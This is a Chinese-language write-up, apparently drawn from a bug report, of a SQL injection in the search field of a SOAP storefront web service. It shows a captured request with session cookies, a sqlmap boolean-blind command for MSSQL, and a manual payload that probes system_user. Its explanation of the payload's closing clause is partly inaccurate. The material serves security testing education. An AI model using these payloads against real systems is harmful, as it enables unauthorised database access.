这里是一个比较有意思的注入漏洞,是一个搜索框的注入漏洞,也是我们平时测试中可能会忽略的一点。
这里可以看到,一个基本寻找测试点的流程,这里作者针对了一个输入框进行测试,下面是完整的数据包
POST /DSF/webservices/StorefrontService.asmx HTTP/1.1
Host: ████████
Cookie: ASP.NET_SessionId=1phpamlj3ghg13yranwpwyc4; LASTSITEACTIVITY=17b9c74a-f80b-4e48-b274-729acb2e14ad; _____SITEGUID=17b9c74a-f80b-4e48-b274-729acb2e14ad; BIGipServerdso_dla_pool=!bMk2BVeAkzRdd6t/+hAGiDi1KgdSoi+88iAAs7+CvOtONGAdcnAhOqOuh++pi3IS36YNq+YVfr5l8HI=; TS01a7bc09=01a9fe659b2979abff2645807c9ce81ffbeeeeaafa33f9038d5a1c59dd219a29ce68fa7d4edb9afe6bb9488ceb9c8dd10214f84f28; DSFPartnerID=yaY5gqbGhOY=; TS2f53739b027=085749d0e4ab200041fc059864d60f7079a5bba1c971a9b0ec2c518a8be95c59408233620a4046e908a71691ce11300072991b95acde4750057dcf4b690fc5d287bd05e77fb374c2ef003c7fa6de858098c8aded9cd3dbae4fb2b4cb23fae3f4
Content-Length: 945
Sec-Ch-Ua: "Not.A/Brand";v="8", "Chromium";v="114", "Google Chrome";v="114"
Accept: application/xml
Content-Type: application/json;charset=UTF-8
Sec-Ch-Ua-Mobile: ?0
Soapaction: http://www.efi.com/dsf/StorefrontService/GetAllFacilitiesForNewUserRegistration
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Origin: https://███
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://█████/DSF/SmartStore.aspx?6xni2of2cF01Wh1WA1f8KvqWdFIzCmht0+f1rjakhLYZYEorRbI5CMSxx2CBgN1b
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
<soapenv:Envelope xmlns:soapenv='http://schemas.xmlsoap.org/soap/envelope/' xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance' > <soapenv:Header> <AuthenticationHeader xmlns='http://www.efi.com/dsf/BuyerTicketClientServices'> <SiteGUID>17b9c74a-f80b-4e48-b274-729acb2e14ad</SiteGUID>
<SessionTokenID>49f22361-1243-4cde-9788-7bad2eb575ed</SessionTokenID>
<TimeOut>20</TimeOut>
<CultureName>zh-CN</CultureName>
</AuthenticationHeader> </soapenv:Header> <soapenv:Body> <GetAllFacilitiesForNewUserRegistration xmlns='http://www.efi.com/dsf/StorefrontService'> <companyId>-1</companyId>
<cultureName>zh-CN</cultureName>
<sortColumn>description</sortColumn>
<sortOrder>asc</sortOrder>
<searchValue>*</searchValue>
<currentPageIndex>1</currentPageIndex>
<recordsToFetch>10</recordsToFetch>
</GetAllFacilitiesForNewUserRegistration> </soapenv:Body> </soapenv:Envelope>
上面的数据包,这里就可以学会一个小技巧,我们想测试搜索框中的数据包,可以将html代码放到数据包的下面进行传递,这里我们需要测试的点在<searchValue>标签中间
可以看到这里中间加了*号,方便sqlmap进行测试
sqlmap.py -r 11.txt --random-agent --batch --technique=b --dbms=mssql --force-ssl --level 3 --skip-urlencode
这里是使用的sqlmap的语句,这里面我们也可以学习一下一些简单的用法
首先txt文件就是上面的数据包了
然后random-agent就是随机数据头
batch是选择默认的选项
--technique是选择注入的方式,b是布尔盲注
然后dbms是选择数据库类型,这里是mssql
--force-ssl是强制使用https模式访问
level就是测试等级了
最后一个--skip-urlebcode,这里我理解的是禁止sqlmap进行url编码,下面的是gpt的一些解释
sqlmap 可能会尝试对请求中的数据进行 URL 编码的检测和处理,以确保测试的准确性。然而,使用 --skip-urlencode 选项可以禁止 sqlmap 对请求数据进行自动的 URL 编码处理。
手工测试:
<searchValue>1' and substring(system_user,1,16)='public\dsfwsuser' and '%'='</searchValue>
这里可以学习到一些经验
and substring(system_user,1,16)='public\dsfwsuser': 这是注入的主要部分。它试图通过 substring 函数检查 system_user 的子字符串是否与给定的字符串 'public\dsfwsuser' 相匹配。这可能是为了尝试确定当前用户是否是 public\dsfwsuser,以便进行后续的攻击步骤。
and '%'=': 这是为了构建一个始终为真的条件,以确保原始查询不会受到影响。在这里,'%'=' 代表一个始终为真的条件,因为百分号 '%' 总是等于它自己。这样做是为了保持原始查询的逻辑正确性,同时添加额外的条件来执行攻击者想要的行为。
这个漏洞报告到这里就结束了,其实重要的一个是测试功能点的思路,还有一个就是sqlmap自动化测试的一个使用经验,希望大家可以学到。